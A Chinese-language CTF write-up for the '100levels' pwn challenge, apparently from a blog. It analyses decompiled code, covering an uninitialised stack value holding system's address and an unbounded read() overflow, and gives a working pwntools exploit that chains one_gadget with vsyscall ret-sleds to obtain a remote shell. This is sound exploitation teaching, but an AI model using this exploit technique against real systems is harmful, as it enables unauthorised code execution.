CTF-PWN100levels(vsyscall利用)

程序流程&漏洞分析

checksec:

supergate@ubuntu:~/Desktop/Pwn$ checksec pwn
[*] '/home/supergate/Desktop/Pwn/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

开启了PIE,这对我们的地址泄露造成困难


主要实现了两个流程:
Hint:

int hint()
{
  signed __int64 v1; // [rsp+8h] [rbp-108h]
  int v2; // [rsp+10h] [rbp-100h]
  __int16 v3; // [rsp+14h] [rbp-FCh]

  if ( unk_55C634EFB08C )
  {
    sprintf((char *)&v1, "Hint: %p\n", &system, &system);
  }
  else
  {
    v1 = 'N NWP ON';
    v2 = 'UF O';
    v3 = 'N';
  }
  return puts((const char *)&v1);
}

可以发现该流程先判断.bss段上的一个地方的值,如果不为零则可以达到泄露system地址的效果
当然在后续调试和分析中我们发现这个地方没有办法直接泄露,但是按tab看汇编后可以发现,system的地址会被直接存在栈上[esp+10h]的位置上,在后续的控制流中有可能进行利用


Go:

int go()
{
  int v1; // ST0C_4
  __int64 v2; // [rsp+0h] [rbp-120h]
  __int64 v3; // [rsp+0h] [rbp-120h]
  int v4; // [rsp+8h] [rbp-118h]
  __int64 System_addr; // [rsp+10h] [rbp-110h]
  signed __int64 System_addra; // [rsp+10h] [rbp-110h]
  signed __int64 v7; // [rsp+18h] [rbp-108h]
  __int64 v8; // [rsp+20h] [rbp-100h]

  puts("How many levels?");
  v2 = readin();
  if ( v2 > 0 )
    System_addr = v2;
  else
    puts("Coward");
  puts("Any more?");
  v3 = readin();
  System_addra = System_addr + v3;
  if ( System_addra > 0 )
  {
    if ( System_addra <= 99 )
    {
      v7 = System_addra;
    }
    else
    {
      puts("You are being a real man.");
      v7 = 100LL;
    }
    puts("Let's go!'");
    v4 = time(0LL);
    if ( (unsigned int)sub_55C634CF9E43(v7) != 0 )
    {
      v1 = time(0LL);
      sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3);
      puts((const char *)&v8);
    }
    else
    {
      puts("You failed.");
    }
    exit(0);
  }
  return puts("Coward Coward Coward Coward Coward");
}

可以看到有两个变量是改了名的——这就是上面分析时所说的可以利用的地方。根据栈平衡,本函数中的[esp+10h]的地址仍然存的是system的地址。v2<=0的时候会跳过对[esp+10h]的初始化,使得这个地方的值不变。
one_gadget搜一下库:

supergate@ubuntu:~/Desktop/Pwn$ one_gadget libc.so
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

发现执行shell的地方存在libc.so偏移为0x4526a,因此可以通过go函数的v3变量来修改system_addr的偏移,使得[esp+10h]这个地址内存的是execve("/bin/sh")的地址


sub_55C634CF9E43

_BOOL8 __fastcall sub_55C634CF9E43(signed int a1)
{
  int v2; // eax
  __int64 v3; // rax
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v5; // [rsp+18h] [rbp-28h]
  __int64 v6; // [rsp+20h] [rbp-20h]
  __int64 v7; // [rsp+28h] [rbp-18h]
  unsigned int v8; // [rsp+34h] [rbp-Ch]
  unsigned int v9; // [rsp+38h] [rbp-8h]
  unsigned int v10; // [rsp+3Ch] [rbp-4h]

  buf = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  if ( !a1 )
    return 1LL;
  if ( (unsigned int)sub_55C634CF9E43(a1 - 1) == 0 )
    return 0LL;
  v10 = rand() % a1;
  v2 = rand();
  v9 = v2 % a1;
  v8 = v2 % a1 * v10;
  puts("====================================================");
  printf("Level %d\n", (unsigned int)a1);
  printf("Question: %d * %d = ? Answer:", v10, v9);
  read(0, &buf, 0x400uLL);
  v3 = strtol((const char *)&buf, 0LL, 10);
  return v3 == v8;
}

是一个递归调用函数。
很容易发现read函数有很大的缓冲区溢出量。
由于也没有canary,因此可以直接构造返回地址劫持控制流。
可以经过调试发现ret的地址在buf偏移0x38的地方,而上面提到的execve("/bin/sh"),由于存在[esp+10h]处,所以偏移处应该在0x38+8*3,因此在ret之后还应绕过剩下的这三个偏移。
由于开启了PIE,所以ROP链的构造比较困难,这里考虑使用vsyscall来跳过这三个地址,具体的原理可搜一下相关信息。

exp

from pwn import *
from LibcSearcher import *

context(log_level='debug')
#p=process("./pwn")
p=remote("111.198.29.45",48741)
e=ELF("./libc.so")

system_libc=e.symbols['system']
exev_libc=0x4526a
vsyscall=0xffffffffff600000
offset=exev_libc-system_libc
print "offset  ====> "+hex(offset)

p.recvuntil("Choice:\n")
p.sendline("2")

p.recvuntil("Choice:\n")
p.sendline("1")
p.recvuntil("How many levels?\n")
p.sendline("0")
p.recvuntil("Any more?\n")
p.sendline(str(offset))

for i in range(99):
    p.recvuntil("Question: ")
    a=int(p.recvuntil(" ")[:-1])
    p.recvuntil("* ")
    b=int(p.recvuntil(" ")[:-1])
    p.recvuntil("Answer:")
    p.sendline(str(a*b))

payload='a'*0x38+p64(vsyscall)*3
p.recvuntil("Answer:")
p.send(payload)
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值